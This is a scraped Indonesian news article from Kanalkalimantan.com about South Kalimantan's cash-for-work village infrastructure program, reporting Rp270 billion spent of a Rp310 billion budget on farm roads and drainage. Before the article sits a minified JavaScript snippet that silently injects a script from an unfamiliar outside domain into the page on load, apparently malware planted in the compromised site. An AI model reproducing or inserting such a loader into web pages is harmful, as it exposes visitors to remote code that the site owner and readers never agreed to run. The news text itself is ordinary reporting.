(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kalimantan Selatan

Program Padat Karya Tunai di Provinsi Kalsel Sudah Teralisasi Rp270 Miliar

KANALKALIMANTAN.COM, BANJARBARU – Demi menunjang pembangunan infrastruktur di daerah-daerah pelosok, Dinas Pemberdayaan Masyarakat dan Desa (PMD) Provinsi Kalsel pada tahun ini telah mengusulkan program Padat Karya Tunai (PKT).

Berdasarkan data rekap hingga 12 Agustus, ada terdapat 16 proyek peningkatan infrastruktur yang tersebar di berbagai daerah. Sepetti halnya, pembangunan jalan tani hingga drainase.

Pengerjaan sendiri telah beberapa yang terealisasi, contohnya pembangunan jalan usaha tani di Desa Batu Laki, Desa Hanuluk dan Bamban Utara, yang berada di Kabupaten Hulu Sungai Selatan (HSS).

Kepala Dinas PMD Kalsel, Zulkifli mengatakan setiap pekerjaan, dapat diketahui dengan adanya plakat pembangunan yang sudab terpasang. Tak hanya pembangunan jalan tani saja, pembangunan drainase juga sudah beberapa teralisasi seperti di Desa Pimping, Kabupaten Tabalong.

“Adanya PKTD semoga dapat menjadi stimulus pembangunan dan ekonomi di desa yang bersangkutan,” ujarnya, Rabu (26/8/2020).

Dijelaskan Zulkifli, program PKTD ini telah dianggarkan melalui Dana Desa, dengan pagu anggaran mencapai Rp310 miliar. Saat ini, sudah terealisasi Rp270 miliar dari total anggaran tersebut.

“PKTD juga menghimpun warga desa dalam pelaksanaan pembangunan. Sehingga dapat memberikan pekerjaan secara langsung ketika proyek dikerjakan,” pungkasnya.(Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell